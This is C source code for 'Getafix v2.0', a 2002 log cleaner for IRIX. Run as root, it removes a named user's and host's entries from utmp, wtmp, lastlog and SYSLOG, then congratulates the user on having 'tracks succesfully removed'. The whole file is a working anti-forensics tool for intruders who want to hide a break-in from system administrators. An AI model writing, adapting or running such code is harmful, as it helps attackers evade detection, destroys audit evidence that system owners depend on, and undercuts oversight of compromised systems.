/*  Getafix v2.0  -by Neofox  ioc@rootshell.be  06/2002
*
* Here is a log cleaner coded for Irix. It cleans utmp, wtmp, lastlog and
* SYSLOG, whithout zeroing entries out. It now can remove from wtmp only the
* last matching entry, instead of removing all logs of the conserned user.
* This new stuff is very usefull as we cannot research entries by hostname.
* What's more, few minor mistakes have been fixed since previous released.
* Please mail me about every kind of bug you'll find this time.
*
* To run :       ./getafix  <username>  <hostname or IP>
* To compile :   cc getafix.c -o getafix
*
* Tested on IRIX 6.5
*
*/

#include <stdio.h>      /* fprintf */
#include <unistd.h>     /* system */
#include <string.h>     /* strncmp, lseek */
#include <stdlib.h>     /* I don't remeber */
#include <fcntl.h>      /* open, close */
#include <sys/stat.h>   /* stat */
#include <sys/types.h>  /* stat */
#include <pwd.h>        /* getpwnam */
#include <utmp.h>       /* struct utmp, wtmp */
#include <lastlog.h>    /* struct lastlog */


/* Original log files */
#define UTMP "/var/run/utmp"
#define WTMP "/var/log/wtmp"
#define LASTLOGDIR "/var/adm/lastlog/"
#define SYSLOG "/var/adm/SYSLOG"

/* Cleaned log files */
#define NEWUTMP "/tmp/.utmp"
#define NEWWTMP "/tmp/.wtmp"
#define NEWLASTLOG "/tmp/.lastlog"
#define NEWSYSLOG "/tmp/.SYSLOG"

/* here comes buffer for SYSLOG */
#define BIGSIZE 9999999
char buf[BIGSIZE];

char lastlog[50];

/* File descriptors */
int input, output;
FILE *in, *out;


// Counters
int i,          /* counter for erased entries */
    n,          /* nbr of entries to erase */
    count,      /* results count*/
    size,       /* size of structs */
    current,    /* current line */
    total,      /* total lines count */
    nbr,        /* nbr of line for user */
    lenght;     /* nbr of bytes */



/* Structures */
struct passwd *pwd;
struct utmp u;
struct utmp w;
struct lastlog l;
struct stat status;




int main (int argc, char *argv[]){

       if(argc!=3){
           fprintf(stderr,"Usage : %s <user> <host or IP>\n", argv[0]);
           exit(1);
       }

       /* You must be root */
       if(geteuid()!=0){
           fprintf(stderr,"%s must be run as root !\n", argv[0]);
           exit(-1);
       }

       fprintf(stderr, "[*]- Getafix v2.0  -by Neofox [IOC]\n");
       if((pwd=getpwnam(argv[1]))==NULL){
             fprintf(stderr,"[*]-%s : no such user!\n", argv[1]);
             exit(-1);
       }



       /**************************************************/
       /*               PROCESSING WTMP                  */
       /**************************************************/
       clean_wtmp :
       fprintf(stdout,"[1]- Checking %s : ",WTMP);
       size=sizeof(w);

       // Checking WTMP Path
       if(stat(WTMP,&status)==-1){
          fprintf(stdout,"there's not %s here ?!\n", WTMP);
          goto clean_utmp;
       } else {
          lenght = status.st_size;
       }

       if((input=open(WTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input); goto clean_utmp;
       }


       // First read
       if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
             while((read(input, &w, size))>0){
                 if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){
                             nbr++;
                }

             }

             // back to top, then
             // second read
             lseek(input,-lenght,SEEK_END);
             while((read(input, &w, size))>0){
                  if(strncmp(w.ut_name,argv[1],strlen(argv[1]))==0){
                                current++;

                             if(current == nbr){
                                // we're on the last
                                // matching entry
                                i++;

                             } else {
                                // otherwise, we copy
                                write(output,&w,size);
                             }
                 } else {
                    // these entry dosen't match
                    write(output,&w,size);
                 }
            }
       }

       if(i>0){
          count++;
          fprintf(stdout,"%d track(s) removed\n",i);
          unlink(WTMP);
          link(NEWWTMP,WTMP);
          chmod(WTMP,00644);
          unlink(NEWWTMP);

       } else {

          fprintf(stdout,"No such entry, aborting\n");
       }

       close(input);
       close(output);


       /**************************************************/
       /*               PROCESSING UTMP                  */
       /**************************************************/
       clean_utmp :
       fprintf(stdout,"[2]- Checking %s : ",UTMP);
       size=sizeof(u);

       // Check utmp path
       if(stat(UTMP,&status)==-1){
          fprintf(stdout,"there's not %s here ?!\n", UTMP);
          goto clean_lastlog;
       }

       if((input=open(UTMP, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input); goto clean_lastlog;
       }

       i=0; // reset counter
       if((output=creat(NEWUTMP, O_CREAT | O_WRONLY))>0){
               while((read(input, &u, size))>0){
                 if(strncmp(u.ut_name,argv[1],strlen(argv[1]))==0){
                          i++;
                  }else{
                      write(output,&u,size);
                  }

               }
       }


       if(i>0){
          count++;
          fprintf(stdout,"%d track(s) removed\n",i);
          unlink(UTMP);
          link(NEWUTMP,UTMP);
          chmod(UTMP,00644);
          unlink(NEWUTMP);

       } else {

          fprintf(stdout,"No such entry, aborting\n");
       }

       close(input);
       close(output);


       /**************************************************/
       /*              PROCESSING LASTLOG                */
       /**************************************************/
       clean_lastlog :
       fprintf(stdout,"[3]- Checking %s : ",lastlog);
       strcat(lastlog,LASTLOGDIR); strcat(lastlog,argv[1]);
       size=sizeof(l);

       // Check lastlog path
       if(stat(lastlog,&status)==-1){
          fprintf(stdout,"there's not %s here ?!\n", lastlog);
          goto clean_syslog;
       }

       if((input=open(lastlog, O_RDONLY))<0){
            fprintf(stdout,"access refused ?!\n");
            close(input);
            goto clean_syslog;
       }

       i=0; // reset counter
       if((output=creat(NEWLASTLOG, O_CREAT | O_WRONLY))>0){
               while((read(input, &l, size))>0){
                   if(strncmp(l.ll_host,argv[2],strlen(argv[2]))==0){
                          i++;
                  }else{
                     write(output,&l,size);
                  }
               }
        }


       if(i>0){
         count++;
         fprintf(stdout,"%d track(s) removed\n",i);

        unlink(lastlog);
         link(NEWLASTLOG,lastlog);
         chmod(lastlog,00644);
         unlink(NEWLASTLOG);

       } else {

          fprintf(stdout,"No such entry, aborting\n");
       }

       close(input);
       close(output);


       /**************************************************/
       /*             PROCESSING SYSLOG                  */
       /**************************************************/
       clean_syslog :
       fprintf(stdout,"[4]- Checking %s : ",SYSLOG);

       // Check SYSLOG path
       if(stat(SYSLOG,&status)==-1){
          fprintf(stdout,"there's not %s here ?!\n", SYSLOG);
          goto end;
       }

       if((in=fopen(SYSLOG,"r+"))<0){
            fprintf(stdout,"access refused ?!\n");
            fclose(in);
            goto end;
       }


       i=0; // reseting counter
       if((out=fopen(NEWSYSLOG,"w+"))>0){
            while(fgets(buf,size,in)!=NULL){
               if((strstr(buf,argv[1])==0)&&(strstr(buf,argv[2])==0)){
                    fputs(buf,out);
               }else{
                i++;
               }
            }
       }
       fclose(in);
       fclose(out);


       if(i>0){
          count++;
          fprintf(stdout,"%d track(s) removed\n",i);
          unlink(SYSLOG);
          link(NEWSYSLOG,SYSLOG);
          chmod(SYSLOG,00644);
          unlink(NEWSYSLOG);

       } else {

          fprintf(stdout,"No such entry, aborting\n");
       }



       /* check if it's allright */
       end :
       if(count==0){
          fprintf(stderr,"[*]- No entries found :");
          fprintf(stderr," you're maybe not safe !\n");
          exit(1);
       }


        /* well, congratulations !*/
        if(count==4){
           fprintf(stderr,"[*]- Good job, tracks succesfully removed!\n");
        }else{
           fprintf(stderr,"[*]- Tracks partially removed!\n");
        }


        return 0;


}



/*                 - Copyright © 2002 [IOC] -
*                 [http://rootshell.be/~ioc]
*/

